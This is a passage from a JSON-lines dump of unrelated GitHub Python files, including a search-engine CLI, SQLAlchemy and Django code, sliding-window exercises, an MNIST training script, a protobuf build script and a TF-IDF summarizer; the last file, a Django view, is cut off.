use_positions= not self.disable_positions)\n\n def parse_args(self):\n parser = ArgumentParser()\n # Set the mode\n parser.add_argument('--mode', help='Set the main mode', required=True,\n type=str, metavar='indexer/searcher')\n\n # IF IS INDEXER MODE\n # set method\n parser.add_argument('--method', help='Set the method',\n type=str, metavar='raw/lnc.ltc/bm25')\n # path to new data file\n parser.add_argument('--data_path', help='Set the path to the data',\n type=str, metavar='(path to data file (.gz))')\n # do not use stopwords list\n parser.add_argument('--nostopwords', help='Disable stop words',\n action='store_false')\n # path to new stopwords\n parser.add_argument('--stopwords',\n help='Set the path to stop words List',\n type=str, metavar='(path to stopwords list)')\n # minimum word size\n parser.add_argument('--word_size',\n help='Set the maximum for the word size filter',\n type=int, metavar='(integer number)')\n # no minimum word size\n parser.add_argument('--no_word_size', help='Disable word size filter',\n action='store_false')\n # do not use stemmer\n parser.add_argument('--no_stemmer', help='Disable stemmer',\n action='store_false')\n # do not use positions\n parser.add_argument('--disable_positions',\n help='Disable positions indexing',\n action='store_true')\n # maximum postings per block for the SPIMI\n parser.add_argument('--max_post',\n help='Set the maximum postings per block',\n type=int)\n\n # IF IS QUERY MODE\n # set folder name\n parser.add_argument('--data', help=\"Folder that contains the index files for query mode\",\n type=str)\n # set the search mode\n parser.add_argument('--search_type', help=\"Choose the search mode, 'file (file-path)' to use a file with a list of queries as input, 'loop' to insert queries in a loop through the terminal (empty query to end loop) or 'evaluation (file-path)' to use a file with a list of relevant queries as input\",\n nargs='+', metavar='file (file-path) / loop / evaluation (file_path)')\n\n parser.add_argument('--dump_file',\n help='Enable to generate file with results',\n action='store_true')\n\n parser.add_argument('--cmd_results',\n help='Enable to show the results on terminal',\n action='store_true')\n \n parser.add_argument('--disable_boost',\n help='Disable boost query',\n action='store_true')\n\n parser.add_argument('--span_size',\n help='Set span size to booster',\n type=int, metavar='(integer number)')\n\n # Set the query file\n #parser.add_argument('--query_file', help='Choose the path to search', type=str, metavar='(txt file)')\n\n return parser\n\n def check_arguments(self, parser, args):\n\n if args.mode == 'indexer':\n # indexer\n self.mode = args.mode\n # method\n if args.method:\n if args.method == 'bm25' or args.method == 'lnc.ltc' or args.method == 'raw':\n self.index_type = args.method\n else:\n parser.error(\n '--method requires 3 options (raw / lnc.ltc / bm25).')\n sys.exit()\n else:\n parser.error('Indexer mode requires --method and --data_path.')\n sys.exit()\n\n # data_path\n if args.data_path:\n self.data_path = args.data_path\n if not path.exists(self.data_path) or not self.data_path.endswith('.gz'):\n print(\n 'File does not exist or does not have the correct extension! ')\n print(parser.parse_args(['-h']))\n sys.exit()\n else:\n parser.error('Indexer mode requires --method and --data_path.')\n sys.exit()\n\n # if stopwords are disabled but a stopwords path is still defined by the user\n if (not args.nostopwords) and (args.stopwords != None):\n print(parser.parse_args(['-h']))\n sys.exit()\n\n if not args.nostopwords:\n self.stopwords_path = ''\n\n if args.stopwords:\n self.stopwords_path = args.stopwords\n\n # if word size is disabled but a size is still defined by the user\n if (not args.no_word_size) and (args.word_size != None):\n print(parser.parse_args(['-h']))\n sys.exit()\n\n if args.word_size:\n self.minimum_word_size = args.word_size\n\n if not args.no_word_size:\n self.minimum_word_size = 0\n\n if not args.no_stemmer:\n self.stemmer_enabled = False\n\n #disable positions\n self.disable_positions = args.disable_positions\n\n if args.max_post:\n self.max_post = args.max_post\n\n elif args.mode == 'searcher':\n # searcher\n self.mode = 'searcher'\n\n # data_path\n if args.data:\n self.data = args.data\n if not path.exists(self.data):\n print('Folder does not exist!')\n sys.exit()\n else:\n parser.error('Search mode requires --data and --search_type.')\n sys.exit()\n\n #disable boost\n self.disable_boost = args.disable_boost\n\n #span size\n if args.span_size:\n self.span_size = args.span_size\n\n # search_type\n if args.search_type:\n if args.search_type[0] == 'loop':\n self.loop = True\n elif args.search_type[0] == 'file':\n if not args.search_type[1]:\n parser.error(\n 'Type of search by file required the file path (txt)')\n sys.exit()\n self.query_file = args.search_type[1]\n if not path.exists(self.query_file):\n print('Query file does not exist!')\n sys.exit()\n elif args.search_type[0] == 'evaluation':\n self.evaluation = True\n if not args.search_type[1]:\n parser.error(\n 'Type of search \"evaluation\" required the file path (txt)')\n sys.exit()\n self.query_file = args.search_type[1]\n if not path.exists(self.query_file):\n print('Queries Relevant file does not exist!')\n sys.exit()\n else:\n parser.error(\n 'Search type requires one of three options: file / loop / evaluation.')\n sys.exit()\n else:\n parser.error(\n 'Search type requires one of three options: file / loop / evaluation.')\n sys.exit()\n\n if not args.dump_file and not args.cmd_results:\n parser.error(\n 'Search type requires at least one of two options: --dump_file / --cmd_results')\n sys.exit()\n\n self.dump_results_file = args.dump_file\n self.cmd_results = args.cmd_results\n else:\n print(parser.parse_args(['-h']))\n\n def read_query_file(self):\n\n with open(self.query_file, 'r') as file:\n lines = file.readlines()\n return lines\n\n def main(self):\n\n # create and check all arguments\n parser = self.parse_args()\n args = parser.parse_args()\n self.check_arguments(parser, args)\n\n if self.mode == 'indexer':\n if self.index_type == 'bm25':\n tokenizer = Tokenizer(stopwords_path=self.stopwords_path,\n stemmer_enabled=self.stemmer_enabled,\n size_filter=self.minimum_word_size)\n indexer = IndexerBM25(\n tokenizer, use_positions= not self.disable_positions)\n indexer.index_data_source(self.data_path)\n statistics = indexer.get_statistics()\n for statistic in statistics:\n print(f'{statistic}: {statistics[statistic]}')\n elif self.index_type == 'lnc.ltc':\n tokenizer = Tokenizer(stopwords_path=self.stopwords_path,\n stemmer_enabled=self.stemmer_enabled,\n size_filter=self.minimum_word_size)\n indexer = IndexerLncLtc(\n tokenizer, use_positions= not self.disable_positions)\n indexer.index_data_source(self.data_path)\n statistics = indexer.get_statistics()\n for statistic in statistics:\n print(f'{statistic}: {statistics[statistic]}')\n\n elif self.mode == 'searcher':\n query = Query(\n data_path=self.data, dump_results_file=self.dump_results_file, cmd_results=self.cmd_results, \n positional_boost_enabled = not self.disable_boost, span_size = self.span_size)\n if self.loop:\n print('Words to search:')\n to_search = input()\n while (to_search != ''):\n #query = Query(data_path = self.data)\n query_result, total_time = query.process_query(to_search)\n if self.cmd_results:\n print()\n self.show_results(to_search, query_result)\n print('Time used: {:0.3f}s \\n'.format(total_time))\n\n print('Words to search:')\n to_search = input()\n elif self.evaluation:\n evaluation = query.evaluate_system(self.query_file)\n if self.cmd_results:\n query.show_evaluation_results(evaluation)\n if self.dump_results_file:\n query.dump_evaluation_result(evaluation)\n else:\n lines = self.read_query_file()\n for line in lines:\n query_result, total_time = query.process_query(line)\n if self.cmd_results:\n print()\n self.show_results(line.replace(\"\\n\", \"\"), query_result)\n print('Time used: {:0.3f}s \\n'.format(total_time))\n\n\n def show_results(self, query, results):\n i = 0\n print('Q: {}'.format(query))\n if len(results) == 0:\n print('Nothing found!')\n else:\n for result in results:\n if i < 10:\n res = tuple(result)\n print(res[0] + \" -> \" + res[1])\n i += 1\n print()\n\n\nif __name__ == '__main__':\n\n Main().main()\n","repo_name":"joaopedropereiraPP/IR-Project1","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":13080,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"40864786477","text":"import json\n\nfrom sqlalchemy import insert, update\nfrom sqlalchemy.exc import IntegrityError\nfrom sqlalchemy.ext.asyncio import AsyncSession\n\nfrom src.address_schema import Address\nfrom src.database_utils.base_query import BaseQuery\nfrom src.university_module.database.university.university_models import UniversityModels\n\n\nclass UniversityQuery(BaseQuery):\n _models: UniversityModels = UniversityModels()\n\n _schema_create_class: type = _models.create_class\n _schema_update_class: type = _models.update_class\n _schema_read_class: type = _models.read_class\n _model: type = _models.database_table\n\n async def create(\n self, model_create: _schema_create_class, session: AsyncSession\n ) -> IntegrityError | None:\n try:\n model_create.fix_time()\n await session.execute(insert(self._model).values(**model_create.dict()))\n await session.commit()\n except IntegrityError as e:\n return e\n\n def _convert_model_to_schema(self, model: _model) -> _schema_read_class | None:\n if type(model[0].address) is str:\n address = Address(**json.loads(model[0].address))\n else:\n address = model[0].address\n schema = self._schema_read_class(\n id=model[0].id,\n name=model[0].name,\n url=model[0].url,\n phone=model[0].phone,\n email=model[0].email,\n address=address,\n description=model[0].description,\n reg_date=model[0].reg_date,\n image=model[0].image,\n )\n return schema\n\n async def update(\n self, model_update: _schema_update_class, session: AsyncSession\n ) -> IntegrityError | None:\n try:\n model_update.fix_time()\n await session.execute(\n update(self._model)\n .values(**model_update.dict())\n .where(self._model.id == model_update.id)\n )\n await session.commit()\n except IntegrityError as e:\n return e\n","repo_name":"ONEPANTSU/EducationTourBackend","sub_path":"src/university_module/database/university/university_query.py","file_name":"university_query.py","file_ext":"py","file_size_in_byte":2044,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"50"} +{"seq_id":"32404698822","text":"import sys\n\narr = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\n\n\ndef avg_of_5_elements_brute_force(arr, k=5):\n result = []\n for i in range(len(arr) - k + 1):\n sum = 0.0\n for j in range(i, i + k):\n sum += arr[j]\n result.append(sum / k)\n return result\n\n\ndef sum_of_avg_5_elements(arr, k=5):\n window_sum = 0\n window_start = 0\n result = []\n\n for window_end in range(len(arr)):\n window_sum += arr[window_end]\n\n if window_end >= k - 1:\n result.append(window_sum / k)\n window_sum -= arr[window_start]\n window_start += 1\n return result\n\n\nresult = avg_of_5_elements_brute_force(arr, 5)\nprint(result)\nresult = sum_of_avg_5_elements(arr, 4)\nprint(result)\n\n\ndef max_sum_in_window(arr, k=3):\n max_sum = 0\n running_sum = 0\n window_start = 0\n max_sum_array = []\n\n for window_end in range(len(arr)):\n running_sum += arr[window_end]\n\n if window_end >= k - 1:\n max_sum = max(max_sum, running_sum)\n max_sum_array.append(max_sum)\n running_sum -= arr[window_start]\n window_start += 1\n return max_sum_array\n\n\narr = [2, 1, 5, 1, 3, 2]\nresult = max_sum_in_window(arr, 3)\nprint(result)\n\n\ndef smallest_array_sum(arr, s):\n window_sum = 0\n min_length = sys.maxsize\n window_start = 0\n\n for window_end in range(len(arr)):\n window_sum += arr[window_end]\n\n while window_sum >= s:\n min_length = min(min_length, window_end - window_start + 1)\n window_sum -= arr[window_start]\n window_start += 1\n if min_length == sys.maxsize:\n return 0\n return min_length\n\n\narr = [2, 1, 5, 2, 3, 2]\nresult = smallest_array_sum(arr, 7)\nprint(result)\n","repo_name":"sudhirsinghshekhawat/problem_solving","sub_path":"slidingwindow/slidingwindowproblems.py","file_name":"slidingwindowproblems.py","file_ext":"py","file_size_in_byte":1736,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"13552737741","text":"from django import forms\nfrom crispy_forms.helper import FormHelper\nfrom crispy_forms.layout import Layout, Div, Submit, HTML, Button, Row, Field\n\nfrom .models import *\n\n# class TopicForm(forms.ModelForm):\n# def clean_topic_field(self):\n# fields = self.cleaned_data['fields']\n# return fields\n\n# class Meta:\n# model = TopicAction\n# fields = ['name', 'image',]\n# labels = {'name': ''}\n# widgets = {'name': forms.TextInput(\n# attrs={'rows': 4, 'cols': 40, 'placeholder': 'Type your topic here'})}\n\n\n\nclass FeedForm(forms.ModelForm):\n def clean_post_field(self):\n fields = self.cleaned_data['fields']\n return fields\n\n class Meta:\n model = Feed\n fields = ['text', 'image',]\n \n helper = FormHelper()\n helper.form_class = 'form-group'\n helper.layout = Layout(\n Field('text',rows=\"2\", css_class='input-xlarge form-control form-rounded mt-2 mb-3 col-xs-7 '),\n Field('image'),\n )\n helper.add_input(Submit('submit', 'Post Feed', css_class='btn btn-primary rounded-pill'))\n\n\nclass CommentForm(forms.ModelForm):\n \"\"\"docstring for CommentForm\"\"\"\n def clean_comment_field(self):\n fields = self.cleaned_data['fields']\n return fields\n\n # this function will be used for the validation\n # def clean(self):\n # #data from the form is fetched using super function \n # super(CommentForm, self).clean()\n # fields = self.cleaned_data['fields']\n\n # if len(fields) < 25:\n # self._errors['fields'] = self.error_class([\n # 'Comment should contain a minimum of 25 characters'])\n # #return any errors if found \n # return self.cleaned_data \n\n class Meta:\n model = Comment\n fields = ['content']\n # labels = {'comment': ''}\n widgets = {'comment': forms.Textarea(\n attrs={'rows': '2', \n 'cols': '8', \n 'placeholder': 'Say something...', \n 'class': 'form-control'\n })\n }\n\nclass ReplyForm(forms.ModelForm):\n \"\"\"docstring for CommentForm\"\"\"\n def clean_reply_field(self):\n fields = self.cleaned_data['fields']\n return fields\n\n class Meta:\n model = Reply\n fields = ['content']\n # labels = {'reply': ''}\n widgets = {'reply': forms.Textarea(\n attrs={'rows': '2', \n 'cols': '8', \n 'placeholder': 'Replying...', \n 'class': 'form-control'\n })\n }\n","repo_name":"paulBit3/Tekit","sub_path":"feed/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":2598,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"50"} +{"seq_id":"12172606379","text":"import argparse\r\nimport os\r\nfrom datetime import datetime\r\n\r\nimport torch\r\nfrom torch import nn, optim\r\n\r\nfrom datasets import mnist_loader\r\nfrom models import MNISTNet\r\nfrom trainers import Trainer\r\nfrom utils import load_json, save_json\r\n\r\n\r\ndef main():\r\n parser = argparse.ArgumentParser()\r\n parser.add_argument('--config', type=str, default='configs/config.json')\r\n parser.add_argument('--no-cuda', action='store_true')\r\n parser.add_argument('--parallel', action='store_true')\r\n args = parser.parse_args()\r\n args.cuda = torch.cuda.is_available() and not args.no_cuda\r\n print(args)\r\n\r\n device = torch.device('cuda' if args.cuda else 'cpu')\r\n\r\n config = load_json(args.config)\r\n\r\n model = MNISTNet()\r\n if args.parallel:\r\n model = nn.DataParallel(model)\r\n model.to(device)\r\n\r\n optimizer = optim.Adam(model.parameters(), **config['adam'])\r\n scheduler = optim.lr_scheduler.StepLR(optimizer, **config['steplr'])\r\n\r\n train_loader, valid_loader = mnist_loader(**config['dataset'])\r\n\r\n trainer = Trainer(model, optimizer, train_loader, valid_loader, device)\r\n\r\n output_dir = os.path.join(config['output_dir'], datetime.now().strftime('%Y%m%d_%H%M%S'))\r\n os.makedirs(output_dir, exist_ok=True)\r\n\r\n # save config to output dir\r\n save_json(config, os.path.join(output_dir, 'config.json'))\r\n\r\n for epoch in range(config['epochs']):\r\n scheduler.step()\r\n\r\n train_loss, train_acc = trainer.train()\r\n valid_loss, valid_acc = trainer.validate()\r\n\r\n print('epoch: {}/{},'.format(epoch + 1, config['epochs']),\r\n 'train loss: {:.4f}, train acc: {:.2f}%,'.format(train_loss, train_acc * 100),\r\n 'valid loss: {:.4f}, valid acc: {:.2f}%'.format(valid_loss, valid_acc * 100))\r\n\r\n torch.save(model.state_dict(), os.path.join(output_dir, 'model_{:04d}.pt'.format(epoch + 1)))\r\n\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","repo_name":"PeterXiaoGuo/pytorch-template","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1929,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"50"} +{"seq_id":"15546533458","text":"import sys\nfrom pathlib import Path\n\nimport pkg_resources\nfrom grpc_tools import protoc\n\nargs = []\n\nfor e in [\n \"cosmos-sdk/proto\",\n \"cosmos-proto/proto\",\n \"gogoproto\",\n \"googleapis\",\n]:\n args += [f\"--proto_path=third_party/{e}\"]\n\nargs += [\"--python_out=.\"]\nargs += [\"--grpc_python_out=.\"]\n\nfor e in [\"cosmos-sdk/proto\", \"cosmos-proto/proto\", \"gogoproto/gogoproto\"]:\n args += list(map(str, Path(f\"third_party/{e}\").rglob(\"*.proto\")))\n\n\ndef main():\n proto_include = pkg_resources.resource_filename(\"grpc_tools\", \"_proto\")\n return protoc.main([\"\"] + args + [f\"-I{proto_include}\"])\n\n\nif __name__ == \"__main__\":\n sys.exit(main())\n","repo_name":"rnbguy/cosmos-sdk-python","sub_path":"cosmos_sdk/build.py","file_name":"build.py","file_ext":"py","file_size_in_byte":653,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"70249338715","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Nov 14 19:32:53 2018\n\n@author: Tejaswini Nardella, Anusha Balaji, Shashikant Jaiswal\n\"\"\"\n\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom nltk.tokenize import word_tokenize,sent_tokenize\nfrom nltk.corpus import stopwords\nfrom collections import OrderedDict\n#from rouge import Rouge\nfrom rougescore import rougescore\nimport glob\nimport os\n\n#Retreive news articles from training data set\n\npath_train = 'C:\\\\SHASHI_DATA\\\\3_NLP\\\\Coding\\\\Final_Code\\\\data\\\\train'\npath_test = 'C:\\\\SHASHI_DATA\\\\3_NLP\\\\Coding\\\\Final_Code\\\\data\\\\test'\n\ncorpus_train=[]\ni=0\nfor filename in sorted(glob.glob(os.path.join(path_train, '*.sent'))):\n file=open(filename,\"r\",encoding=\"utf8\")\n text=file.read()\n #print(text)\n print(i)\n #corpus[filename]=text\n corpus_train.append(text)\n i+=1\n\n#Retreive news articles from test data set\ncorpus_test=[]\ni=0\nfor filename in sorted(glob.glob(os.path.join(path_test, '*.sent'))):\n file=open(filename,\"r\",encoding=\"utf8\")\n text=file.read()\n #print(text)\n print(i)\n #corpus[filename]=text\n corpus_test.append(text)\n i+=1\n\n#Retreive summary of news articles from test data set\ncorpus_test_summary=[]\nfor filename in sorted(glob.glob(os.path.join(path_test, '*.summ'))):\n file=open(filename,\"r\",encoding=\"utf8\")\n text=file.read()\n #print(text)\n print(i)\n corpus_test_summary.append(text)\n i+=1 \n\n#Initialize vectorizer\nvectorizer = TfidfVectorizer(stop_words='english')\n# tokenize and build vocab from training corpus\nvectorizer.fit(corpus_train)\n#print(vectorizer.vocabulary)\nstop_words=set(stopwords.words('english'))\n#Initialize total rscore value\nrscore_total=0.0\n#Itereate over list of news articles in test corpus and generate corresponding summary for each article\nfor i in range(len(corpus_test)):\n # transform document into vector\n vector= vectorizer.transform([corpus_test[i]]).toarray()\n # Sort the weights from highest to lowest: sorted_tfidf_weights\n #sorted_tfidf_weights = sorted(vector, key=lambda w: w[1], reverse=True)\n #build sentence score dictionary\n sentScore=dict() \n #Iterate over all sentences to compute sentence score of each sentence in text\n for sent in sent_tokenize(corpus_test[i]):\n for w in word_tokenize(sent):\n if w not in stop_words:\n index=vectorizer.vocabulary_.get(w)\n if(index!=None):\n w_score=vector[0][index]\n print(index)\n if sent[0:15] in sentScore:\n sentScore[sent]+=w_score\n else:\n sentScore[sent]=w_score\n #sort the items in dictionary based on sentence score \n sorted_dict = OrderedDict(sorted(sentScore.items(), key=lambda x: x[1],reverse=True))\n\n #print(\"\\n\\nSummary:\\n\")\n count=1\n summ=\"\"\n \n #retreive top 5 highest score sentences and generate summary\n for k, v in sorted_dict.items():\n if(count>3):\n break \n #print(\"%s. %s\" % ((i), ''.join(k)))\n summ+=k\n count+=1\n #print(\"The system generated summary:\")\n #print(summ)\n predicted_summary=summ\n #retreive the actual summary of corresponding news article\n actual_summary=corpus_test_summary[i]\n #print(\"The Reference summary:\")\n #print(actual_summary)\n #print(\"The model generated summary:\")\n #print(predicted_summary)\n\n #compute precision and recall\n rscore= rougescore.rouge_n(predicted_summary,actual_summary,1,0.0)\n rscore_total+=rscore\n\navg_rscore= rscore_total/len(corpus_test)\n\nprint(\"\\n\\n\")\nprint(\"Test corpus length :\"+str(len(corpus_test)))\n#print(\"total Rscore is :\"+str(rscore_total))\nprint(\"Rouge score for summarization is :\"+str(avg_rscore))\n \n \n\n \n\n","repo_name":"Shashikant-Jaiswal/Text_Summarizer_NLP","sub_path":"textSummarizer.py","file_name":"textSummarizer.py","file_ext":"py","file_size_in_byte":3803,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"39835681250","text":"def count(t):\n pituus = len(t)\n laskuri = 0\n\n vasen_puoli = [0]*pituus\n vasen_puoli[0] = t[0]\n edellinen = vasen_puoli[0]\n for i in range(0, pituus):\n if t[i] > edellinen:\n vasen_puoli[i] = t[i]\n edellinen = t[i]\n else:\n vasen_puoli[i] = edellinen\n\n oikea_puoli = [0]*pituus\n oikea_puoli[pituus-1] = t[pituus-1]\n edellinen_o = oikea_puoli[pituus-1]\n for i in range(pituus-1, -1, -1):\n if t[i] < edellinen_o:\n oikea_puoli[i] = t[i]\n edellinen_o = t[i]\n else:\n oikea_puoli[i] = edellinen_o \n for i in range(0, pituus-1):\n if oikea_puoli[i+1] > vasen_puoli[i]:\n laskuri += 1\n return laskuri\n \nif __name__ == \"__main__\":\n print(count([1, 2, 3, 4, 5])) # 4\n print(count([5, 4, 3, 2, 1])) # 0\n print(count([2, 1, 2, 5, 7, 6, 9])) # 3\n print(count([5, 6, 6, 7, 8, 10, 3])) #0\n print(count([2, 1, 2, 6, 3, 4, 9, 12])) #3","repo_name":"Jenniemilia/Algoritmi_harjoituksia","sub_path":"splitlist.py","file_name":"splitlist.py","file_ext":"py","file_size_in_byte":979,"program_lang":"python","lang":"fi","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"30291725339","text":"from django.views.decorators.csrf import csrf_exempt\nfrom django.views.decorators.http import require_POST\nfrom django.core.exceptions import PermissionDenied\nfrom django.http.response import HttpResponse\nfrom xmlrpc import AccountService\nimport cPickle as pickle\nfrom django.conf import settings\n\nuserdb = AccountService()\n\n@csrf_exempt\n@require_POST\ndef service(req):\n if req.META['REMOTE_ADDR'] not in ('127.0.0.1',):\n raise PermissionDenied\n response = HttpResponse(mimetype='application/hackers-edge')\n if 'HTTP_X_HACKER_TOKEN' not in req.META.keys():\n raise PermissionDenied\n if req.META['HTTP_X_HACKER_TOKEN'] != settings.HACKER_TOKEN:\n raise PermissionDenied\n request = req.body.split(chr(0))\n if request[0] == 'ping':\n data = 'pong'\n elif request[0] == 'user':\n udata = userdb.get_user(request[1])\n data = 'udata'+chr(0)+pickle.dumps(udata)\n elif request[0] == 'last_login':\n data = 'last_login'+chr(0)+pickle.dumps(userdb.get_last_login(request[1]))\n else:\n data = 'ERR'\n response.write(data+chr(255))\n return response\n","repo_name":"kveroneau/HackersEdge","sub_path":"trunk/accounts/game_service.py","file_name":"game_service.py","file_ext":"py","file_size_in_byte":1118,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"50"} +{"seq_id":"17778972448","text":"# I TRIED DOING WITH THE SAME CODE WHICH I USED IN AOC-2021 AS THE QUESTION LOOKED SAME\n# file_input = open(\"day-15-input.txt\", \"r\")\n\n# # file_input = open(\"day-15-test.txt\", \"r\")\n# for i in file_input:\n# a = [int(_) for _ in i.strip()]\n# _mapp.append(a)\n# # print(a) \n# file_input.close()\nimport math\n_mapp = []\n'''\ndef find_short(mapp):\n start = (0, 0) # y, x\n end = (len(mapp)-1, len(mapp[0])-1) # y, x\n\n # print(start, end)\n neww = []\n for i in range(len(mapp)):\n arr = []\n for j in range(len(mapp[0])):\n arr.append(0)\n neww.append(arr)\n # print(\"new arr\\n\", neww)\n neww[0][0] = mapp[0][0]\n\n # visited = []\n\n for i in range(1, len(mapp)):\n neww[i][0] = mapp[i][0] + neww[i-1][0]\n\n for j in range(1, len(mapp[0])):\n neww[0][j] = mapp[0][j] + neww[0][j-1]\n\n # print(mapp)\n # print(neww)\n\n for i in range(1, len(mapp)):\n for j in range(1, len(mapp[0])):\n neww[i][j] = mapp[i][j] + min(neww[i-1][j], neww[i][j-1])\n\n # for i in range(len(mapp)):\n # print([_ for _ in neww[i]])\n \n # print(neww[0][0], neww[-1][-1])\n # print(\"Ans = \", neww[-1][-1]-neww[0][0])\n print(neww[-1][-1])\n'''\ndef neighbors(xy):\n (x, y) = xy\n return [(x-1, y), (x+1, y), (x, y-1), (x, y+1)]\n\n\ndef traverse_cost(start, end, c):\n steps = 1\n cost = { start: 0 }\n active = set([start])\n visited = set([])\n \n while active:\n steps+=1\n current = min(active, key=cost.get)\n\n if current == end:\n return cost[current]\n\n active.remove(current)\n visited.add(current)\n for xy in neighbors(current):\n if xy in c and xy not in active:\n n_cost = cost.get(current, 0) + c[xy]\n if n_cost < cost.get(xy, math.inf):\n cost[xy] = n_cost\n active.add(xy)\n # print(steps, end=\"\\r\")\n # updated_mapp(c, visited, steps)\n\n\n\n# c1 = C\n\n\n# print(\"\\nAns :\",cos)\nif __name__ ==\"__main__\":\n \n testcases = int(input())\n for i in range(testcases):\n n,m = map(int, input().split())\n for i in range(n):\n _mapp.append(list(map(int, input().split())))\n C = {}\n for i in range(len(_mapp)):\n for j in range(len(_mapp[0])):\n C[(j, i)] = _mapp[i][j]\n start = (0, 0)\n end = (len(_mapp[0])-1, len(_mapp)-1)\n cos = traverse_cost(start, end, C)\n print(cos+_mapp[0][0])\n # find_short(_mapp)\n","repo_name":"HappyBravo/Tirutsava-2022","sub_path":"Run From Orochimaru/Run From Orochimaru_mysol.py","file_name":"Run From Orochimaru_mysol.py","file_ext":"py","file_size_in_byte":2536,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"1016476865","text":"from flask import Flask, request, render_template\nimport pandas\nfrom sklearn.linear_model import LinearRegression\n\n\napp = Flask(__name__)\n\n\n@app.route(\"/\")\ndef index():\n return render_template('index.html')\n\n@app.route(\"/calc/\")\ndef calc(): \n return render_template(\"calc.html\")\n\n\n\ndef PredictionModel(years_education:int, hours_per_week:int) -> float:\n df = pandas.read_csv(\"census-income.csv\")\n\n years_education = abs(int(years_education))\n hours_per_week = abs(int(hours_per_week))\n \n X = df[[\" education-num\", \" hours-per-week\"]]\n y = df[\" \"].map({\" <=50K\":1, \" >50K\":0})\n\n linear_regression_model = LinearRegression()\n linear_regression_model.fit(X.values, y)\n \n prediction = linear_regression_model.predict([[years_education, hours_per_week]])\n\n final_output = round(float(prediction[0]))\n\n if final_output < 0:\n final_output = 0\n return final_output\n elif final_output > 1:\n final_output = 1\n return final_output\n else:\n return final_output\n\n\n\n@app.route(\"/calc/prediction\", methods=[\"POST\"])\ndef predict():\n if request.method == 'POST':\n edu_num = request.form['edu']\n hrs = request.form['hrs']\n x = PredictionModel(edu_num, hrs)\n if x == 0:\n return f'Prediction

\\\n Final Output = {x}




Income is likely >$50K (Lower risk of poverty)

'\n else:\n return f'Prediction

\\\n Final Output = {x}




Income is likely <=$50K (Higher risk of poverty)

'\n\n\n\n\n@app.route(\"/about/\")\ndef about():\n return render_template(\"about.html\")\n\n\n\nif __name__ == \"__main__\":\n app.run(debug=True)","repo_name":"dcodecrzft/incomcalc","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2129,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"40776038115","text":"import re\n\nfrom .Runner import resolve_argument\nfrom .ToolRunner import ToolRunner\nimport cgatcore.pipeline as P\n\n\nclass run_tool_LDSC(ToolRunner):\n name = \"ldsc\"\n output = \"log\"\n path = \"/home/steven/ldsc/ldsc.py\"\n expected = [\"input_sumstats\"]\n\n def get_version(self):\n return \"1.0.0\"\n\n def run(self, outfile, params):\n options = params.options\n outdir = re.sub(r\".*outdir \", \"\", options)\n options = re.sub(r\"--outdir (.*)\", \"\", options)\n\n other_sumstats = re.sub(r\".*--rg \", \"\", options)\n if other_sumstats == options:\n other_sumstats = \"\"\n options = re.sub(r\"--rg .*sumstats.gz\", \"--rg\", options)\n\n outputfile = outfile\n outputfile = re.sub(r\"(.*)/\", r\"\\1/\" + outdir, outputfile)\n\n retval = P.run(\". ../env/bin/activate; \"\n \"{params.path} \"\n \"{options} \"\n \"{params.input_sumstats}\"\n \"{other_sumstats} \"\n \"--out {outputfile}\"\n .format(**locals()))\n\n return retval\n","repo_name":"cgat-developers/cgat-daisy","sub_path":"src/daisy/tasks/LDSC.py","file_name":"LDSC.py","file_ext":"py","file_size_in_byte":1105,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"50"} +{"seq_id":"73961194395","text":"import unicodedata\nimport re\nclass Lang:\n def __init__(self, name):\n self.name = name\n self.word2index = {}\n self.word2count = {}\n self.index2word = {0: \"\", 1: \"\",2:'',3:''}\n self.n_words = 4 # Count SOS and EOS and unk and pad \n self.pad_token_id=3\n self.unk_token_id=2\n self.embeddings=None\n def addSentence(self, sentence):\n for word in sentence.split(' '):\n self.addWord(word)\n\n def addWord(self, word):\n if word not in self.word2index:\n self.word2index[word] = self.n_words\n self.word2count[word] = 1\n self.index2word[self.n_words] = word\n self.n_words += 1\n else:\n self.word2count[word] += 1\n\ndef unicodeToAscii(s):\n return ''.join(\n c for c in unicodedata.normalize('NFD', s)\n if unicodedata.category(c) != 'Mn'\n )\n\n# Lowercase, trim, and remove non-letter characters\n\n\ndef normalizeString(s):\n s = unicodeToAscii(s.lower().strip())\n s = re.sub(r\"([.!?])\", r\" \\1\", s)\n s = re.sub(r\"[^a-zA-Z.!?]+\", r\" \", s)\n return s\n\n","repo_name":"tejasvi96/graph-federated-learning","sub_path":"LanguageClass.py","file_name":"LanguageClass.py","file_ext":"py","file_size_in_byte":1134,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"471673852","text":"from genericpath import exists\nfrom django.shortcuts import render, redirect\nfrom django.conf import settings\nfrom django.http import JsonResponse\nfrom .usp import *\nimport pymysql\nimport hashlib\nfrom apps.dashboard.controllers.roles.usp import fc_get_permisos\nfrom django.contrib import messages\nfrom apps.helpers import request_session\n\n\n# Create your views here.\ndef getClientesPage(request):\n data = {\n 'id' : 5,\n 'meta_title': 'Dashboard - Clientes',\n 'breadcrumb': \"Clientes\",\n 'title': 'Lista de Clientes',\n 